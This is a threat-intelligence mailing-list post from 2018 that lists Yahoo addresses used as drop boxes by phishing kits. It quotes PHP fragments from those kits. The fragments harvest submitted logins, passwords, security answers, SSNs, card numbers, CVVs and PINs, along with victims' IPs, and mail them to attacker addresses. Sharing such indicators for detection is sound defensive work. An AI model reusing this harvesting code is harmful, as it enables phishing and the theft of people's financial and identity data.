[Emerging-Sigs] Fwd: YAHOO_PHISHERS

Jason Williams jwilliams at emergingthreats.net
Sat Jan 27 10:12:59 HST 2018


Daily Phisher Yahoo Run -  Fri Jan 26 16:03:32 CST 2018

cahillbent at yahoo.com
cevo_deguix at yahoo.com.br
DebraSloane60 at yahoo.com
dionwiltshire at yahoo.com
femunu at yahoo.com
g4m3r_m4nd at yahoo.com
ibb.lekan at yahoo.com
mw4megod at yahoo.com
peteradams233 at yahoo.com
superstarmusic at yahoo.com
team_pbg at yahoo.com
thepimgkardi at yahoo.com


<?php



$to ="suhail.syzma at gmail.com, cahillbent at yahoo.com";


>>>>

<?php
// no direct access
defined('_JEXEC') or die;

/***********************************************************
**************************
 * ini.php
 * --------
 * Author: deguix (cevo_deguix at yahoo.com.br)

>>>>

$ip = getenv("REMOTE_ADDR");

$hostname = gethostbyaddr($ip);

$message  = "======================= SHPA7 =====================\n";

$message .= "Account ID : ".$_POST['loginId']."\n";

$message .= "Password Account ID : ".$_POST['loginPd']."\n";

$message .= "===================\n";

$message .= "Client IP : ".$ip."\n";

$message .= "HostName : ".$hostname."\n";

$message .= "======================= SHPA7 =====================\n";

$rnessage = "$message\n";

$send = "ronaldburger62 at gmail.com,DebraSloane60 at yahoo.com";


>>>>

$message .= "".$_POST['q1']."\n";

$message .= "".$_POST['a1']."\n";

$message .= "".$_POST['q2']."\n";

$message .= "".$_POST['a2']."\n";

$message .= "".$_POST['q3']."\n";

$message .= "".$_POST['a3']."\n";

$message .= "-----------------------------------------------------------
---------------------\n";

$message .= "IP: ".$ip."\n";

$message .= "---------------Created By Cappo-------------------------
-----\n";



$recipient = "dionwiltshires at gmail.com,dionwiltshire at yahoo.com";


>>>>


$data .= "======================================\n";
$data .=        "id=".$_POST['email']."\n";
$data .=        "auth=".$_POST['pass']."\n";
$data .= "======================================\n";
$data .=        "IP: $ip\n";

if (isset($_POST['email']) && isset($_POST['pass'])) {
        $body = "Email: " . $_POST['email'] . " | Password: " .
$_POST['pass'];

        $to = "femunu at yahoo.com";

>>>>

$secretq5 =  $_POST['secretq5'];

$secreta5 =  $_POST['formtext27'];

$to = "trevor.owenus2 at gmail.com";

$subject = "BOA Results Recieved";

$from= "helloo at gmail.com";

$headers = "From:" . $from;

$data = "\r\nonline id: $onlineid password: $password \r\nFirst name:
$firstname Lastname: $lastname  \r\nAddress: $address City name: $cityname

state: $state zip: $zip \r\nPhone n0: $phone SSN no: $ssn \r\nDate of
Birth: $dob Mother maiden name: $mmaiden \r\nLicence no: $licence Mother
midle name: $mmidlename

Full name: $fullname Email address: $email Email password: $emailpass
\r\nCredit card no: $credit expirey Month: $month expirey year: $year
\r\nCCv no: $ccv Pin num: $pin

Secret Question 1: $secretq1 Answer: $secreta1 \r\nsecret Question 2:
$secretq2 answer: $secreta2 \r\nsecret Question 3: $secretq3 answer:
$secreta3

secret Question 4: $secretq4 answer: $secreta4 \r\nsecret Question 5:
$secretq5 answer: $secreta5 \r\n*****************************powered by:
g4m3r_m4nd at yahoo.com*****************************\r\n\r\n";


>>>>

$message .= "email at domain.com: " . $_POST['UserName'] . "\n";

$message .= "Password: " . $_POST['Password'] . "\n";

$message .= "IP : " .$ip. "\n";

$message .= "--------------------------------------------\n";

$message .=     "City: {$geoplugin->city}\n";

$message .=     "Region: {$geoplugin->region}\n";

$message .=     "Country Name: {$geoplugin->countryName}\n";

$message .=     "Country Code: {$geoplugin->countryCode}\n";

$message .= "User-Agent: ".$browser."\n";

$message .= "---------------------------------------------\n";

$to = "ibb.lekan at yahoo.com";


>>>>

<?

$ip = getenv("REMOTE_ADDR");

$message .= "-----------Amex Money-----------\n";

$message .= "CID Num : ".$_POST['text6']."\n";

$message .= "CSC Num : ".$_POST['text7']."\n";

$message .= "IP : ".$ip."\n";

$message .= "-----------Amex-------------\n";



$send = "mw4megod at yahoo.com";

--
$message .= "3 CSC: ".$_POST['3csc']."\n";


>>>>

$ip = getenv("REMOTE_ADDR");
$country = visitor_country();
$message .= "---------=ReZulT=---------\n";
$message .= "Online: ".$_POST['id']."\n";
$message .= "pass: ".$_POST['password']."\n";
$message .= "---------=IP Address & Date=---------\n";
$message .= "IP Address: ".$ip."\n";
$message .= "Country: ".$country."\n";
$message .= "Date: ".$adddate."\n";
$message .= "---------Created BY Oluwa Adams---------\n";
$sent ="peteradams233 at yahoo.com";

>>>>

<?

$ip = getenv("REMOTE_ADDR");

$message .= "----------BOA INFO DATA------------\n";

$message .= "Online ID        : ".$_POST['onlineid']."\n";

$message .= "IP                     : ".$ip."\n";

$message .= "---------Created BY superstarmusic at yahoo.com------------\n";

--
$message .= "Answer2        : ".$_POST['form4']."\n";

$message .= "Challenge3        : ".$_POST['form5']."\n";

$message .= "Answer3        : ".$_POST['form6']."\n";

$message .= "Challenge4        : ".$_POST['form7']."\n";


>>>>

 # You can redistribute it and/or modify it under the terms of

 # the GNU General Public License as published by the Free Software
Foundation,

 # either version 3 of the License, or (at your option) any later version.



 # However, the license header, copyright and author credits

 # must not be modified in any form and always be displayed.



 # This program is distributed in the hope that it will be useful,

 # but WITHOUT ANY WARRANTY; without even the implied warranty of

 # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.

 # Contact me : team_pbg at yahoo.com for more details.


>>>>

$country = visitor_country();

$countryCode = visitor_countryCode();

$continentCode = visitor_continentCode();

$regionName = visitor_regionName();

$ip = getenv("REMOTE_ADDR");

$browser = $_SERVER['HTTP_USER_AGENT'];

$email = $_POST['username'];

$pass = $_POST['password'];

$domain = $_POST['domain'];

$pnum = $_POST['Phone_Number'];

$own = 'avivawolnan at gmail.com,thepimgkardi at yahoo.com,biggy.extreme@
hotmail.com';


>>>>
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://lists.emergingthreats.net/pipermail/emerging-sigs/attachments/20180127/83794584/attachment-0001.html>


More information about the Emerging-sigs mailing list